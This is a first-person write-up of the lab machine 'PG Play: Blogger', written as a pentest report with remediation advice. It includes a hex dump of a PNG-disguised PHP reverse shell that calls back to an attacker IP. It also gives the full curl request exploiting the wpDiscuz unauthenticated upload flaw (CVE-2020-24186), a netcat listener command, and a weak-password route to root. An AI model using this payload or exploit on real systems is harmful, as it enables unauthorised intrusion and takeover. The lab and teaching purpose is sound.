PG Play: Blogger
Quick Links
Blogger#
A hidden blog, an upload vuln, and weak user credentials wrapped in a bunch of misdirection.
Executive Summary#
I successfully compromised the target system and gained root access. Initial access was achieved by discovering a hidden blog application hosting a vulnerable unauthenticated file upload feature. I exploited this vulnerability to upload a malicious reverse-shell php script, gaining low-privileged local access.
Post-exploitation enumeration revealed a user account with a weak, predictable password, which allowed lateral movement. This account was in turn allowed to use the sudo command without restriction leading to escalation to root permissions.
The most critical findings are the unauthenticated file upload vulnerability and the use of weak, easily guessable passwords. Immediate remediation steps are required to mitigate these risks.
Methodology#
The assessment followed the standard penetration testing lifecycle, adapted for an internal network lab environment.
Information Gathering#
- nmap for open port and service discovery
- gobuster for web directory enumeration
- firefox for general website exploration
Vulnerability Assessment#
- whatweb
- wpscan for wordpress vulnerability assesment
- searchsploit / exploitdb
Exploitation (Initial Access)#
- standard php reverse shell
Post Exploitation & Privilege Escalation#
- linpeas for enumeration
- sucrack for password attempts
- manual password attempts for obvious passwords
- builtin linux tools
Information Gathering#
Immediate scans revealed only two open ports running standard services:
sudo nmap -p- --open $target
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-14 08:51 EST
Nmap scan report for 192.168.125.217
Host is up (0.024s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 8.18 seconds
Early directory enumeration provided nothing obvious:
$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -t 5 -u http://$target
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.125.217
[+] Method: GET
[+] Threads: 5
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 280]
/.htaccess (Status: 403) [Size: 280]
/.htpasswd (Status: 403) [Size: 280]
/assets (Status: 301) [Size: 319] [--> http://192.168.125.217/assets/]
/css (Status: 301) [Size: 316] [--> http://192.168.125.217/css/]
/images (Status: 301) [Size: 319] [--> http://192.168.125.217/images/]
/index.html (Status: 200) [Size: 46199]
/js (Status: 301) [Size: 315] [--> http://192.168.125.217/js/]
/server-status (Status: 403) [Size: 280]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
However, visiting some of these paths in firefox revealed that directory listing is enabled on the server. This allowed easier identification of a nested folder, assets/fonts/blog.
$ whatweb http://$target/assets/fonts/blog
http://192.168.125.217/assets/fonts/blog [301 Moved Permanently] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[192.168.125.217], RedirectLocation[http://192.168.125.217/assets/fonts/blog/], Title[301 Moved Permanently]
http://192.168.125.217/assets/fonts/blog/ [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[192.168.125.217], MetaGenerator[WordPress 4.9.8], PoweredBy[WordPress,], Script[text/javascript], Title[Blogger – Just another WordPress site], UncommonHeaders[link], WordPress[4.9.8]
Having identified the wordpress site, I then used wpscan to identify vulnerable plugins.
Vulnerability Assessment#
using a free account with the tool wpscan, and the api token that comes with it:
wpscan --url http://$target/assets/fonts/blog --enumerate p --plugins-detection aggressive --api-token=<OMITTED>
This resulted in a lot of output, but the most interesting tidbit:
[!] Title: Comments - wpDiscuz 7.0.0 - 7.0.4 - Unauthenticated Arbitrary File Upload
| Fixed in: 7.0.5
| References:
| - https://wpscan.com/vulnerability/92ae2765-dac8-49dc-a361-99c799573e61
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24186
| - https://www.wordfence.com/blog/2020/07/critical-arbitrary-file-upload-vulnerability-patched-in-wpdiscuz-plugin/
| - https://plugins.trac.wordpress.org/changeset/2345429/wpdiscuz
It appears that this website will allow us to upload files. After reviewing the vulnerability and serveral scripts that perform it, I decided to perform the exploit by hand rather than rely on the scripts.
Exploitation#
The first exploitation step is to gather some information required to perform the exploit. We need some variables that are provided when requesting a page that contains the vulnerable plugin. Thankfully the first blog post does:
curl http://$target$/assets/fonts/blog/?p=1
The resulting html file contains a blob of configuration data for the vulnerable plugin, including the string wmuSecurity":"e11891c4ff". Taking this nonce and including it in our upload request will satisfy the vulnerable upload endpoint.
first we prepare the payload, which looks like this:
$ xxd innocent.php
00000000: 8950 4e47 0d0a 1a0a 3c3f 7068 7020 2473 .PNG....<?php $s
00000010: 203d 2066 736f 636b 6f70 656e 2827 3139 = fsockopen('19
00000020: 322e 3136 382e 3435 2e31 3538 272c 2034 2.168.45.158', 4
00000030: 3434 3429 3b20 7072 6f63 5f6f 7065 6e28 444); proc_open(
00000040: 272f 6269 6e2f 6261 7368 272c 205b 303d '/bin/bash', [0=
00000050: 3e24 732c 313d 3e24 732c 323d 3e24 735d >$s,1=>$s,2=>$s]
00000060: 2c20 2470 293b 3f3e 0a , $p);?>.
Then we send the upload request:
curl -X POST http://$target/assets/fonts/blog/wp-admin/admin-ajax.php -F "action=wmuUploadFiles" -F "wmu_nonce=e11891c4ff" -F "wmuAttachmentsData=undefined" -F "wmu_files[0]=@innocent.php" -F "postId=1" --compressed -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Referer: http://' -H 'Upgrade-Insecure-Requests: 1' -H 'Priority: u=0, i' -v -b "wordpress_test_cookie=WP Cookie check;wpdiscuz_hide_bubble_hint=1" -F "postId=1"
This results in a json response that indicates success, and the resulting upload path.
After starting our listener with sudo nc -lvnp 4444 we can send the request like so:
curl http://$target/assets/fonts/blog/wp-content/uploads/2025/11/innocent-1763392958.9577.php
note: I did not mention adding blogger.pg to our /etc/hosts file for improved access to the blog site, because it is not required with the steps listed above, although I did use this to make browsing the site easier.
Post Exploitation#
Now that we’ve received a local shell we perform standard enumeration steps. Finding nothing immediately, I loaded linpeas onto the target machine. Since there was no firewall in place this is trivial.
Linpeas reported several possible exploits which I tried separately but will not include in this writeup as they were not fruitful.
One finding was a handful of interesting user accounts in /etc/passwd including vagrant. Trying the username as the password meets with success for the vagrant account.
This results in privileged access since the user vagrant is configured via the /etc/suduers.d/ directory to have access to all sudo commands, allowing sudo su to produce a root shell.
Risk Analysis#
This is a critical vulnerability chain due to unauthenticated access being leveraged to gain full root control of the machine.
Recommendations#
The “hidden” blog site should be brought “into the sunlight” or deleted entirely. Hiding websites in uncommon subdirectories is not a security practice and only serves to provide a false sense of security while hiding the vulnerability from blue teams.
Further, if the site is to remain, it must be updated to current versions of the appropriate software and plugins to ensure no file upload vulnerabilties exist.
Weak user creditials should be audited and replaced following improved user training.
Additionally, several out of date software versions were found on the target machine. While the vulnerabilities present in these tools were not able to be exploited in this pentest, the tools should be brought up to date regardless to ensure a future chain of exploits cannot use them.